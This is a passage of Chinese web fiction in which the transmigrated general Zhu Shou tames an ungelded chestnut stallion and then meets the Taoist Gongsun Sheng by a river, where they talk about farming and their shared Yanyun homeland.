看了这匹朱寿颇为欣喜,也不管它没去势直接骑了上去。 那枣红马性烈暴躁,早先已经踢伤了不少军士。 朱寿骑上去以后,枣红马再度发怒,它不能容忍可恶的两脚兽骑在自己身上。 没有去势保留了雄性的它有着纯粹的血统,它是马中之王,有着自己的尊严。 一人一马颠簸冲出好远,枣红马迟迟未能把他甩下去, 冲至河边,枣红马也跑累了,暂且休战托着恐怖的两脚兽来到河边喝水。 “将军体力绝人,竟能压服这马中之王。” 河上游走来一个灰袍道士,拈着胡须说道。 “牛鼻子,你可要担心了,这马不曾去势,生性凶猛,小心它伤了你。” 道士听了以后笑了笑,面不改色地走向枣红马。 枣红马鼻息间喷吐着灼热的白息,两只铃铛大的眼睛盯着道士。 可当道士靠近后,枣红马的怒气反而逐渐平息。 道士的手放在枣红马的头上,高傲的马王反而低下头去吃道士另一只手递上来的豆子。 “将军已经压服马王,贫道讨巧了。” 朱寿看了看道士笑道:“道长是有见识的,不知有何贵干?” “贫道公孙胜打扰了。” 亲兵们上前牵住枣红马,朱寿翻身下马。 “走,道长边走边聊。” 二人漫步于河边,公孙胜与他谈论了一会春耕。 “……还是中原好啊,燕云太冷,更别提上京了。这几年天寒地冻,天气寒冷,天时已动,时局多变啊!”公孙胜说道。 “道长也是燕云人士?” “正是。家母还曾受过将军恩惠,贫道多谢了。” “哦,公孙道长是公孙大娘的儿子?哈哈哈,真是巧啊!” “……” 二人聊起燕云那是滔滔不绝。 朱寿知道公孙胜是《水浒传》里的重要道士,不过在这个世界确实没有法术、妖魔。 可公孙胜依然是一个见识超绝的道士,其相貌衣着平凡,胸中却有深远韬略。 可谓是“面如平湖,胸有惊雷”!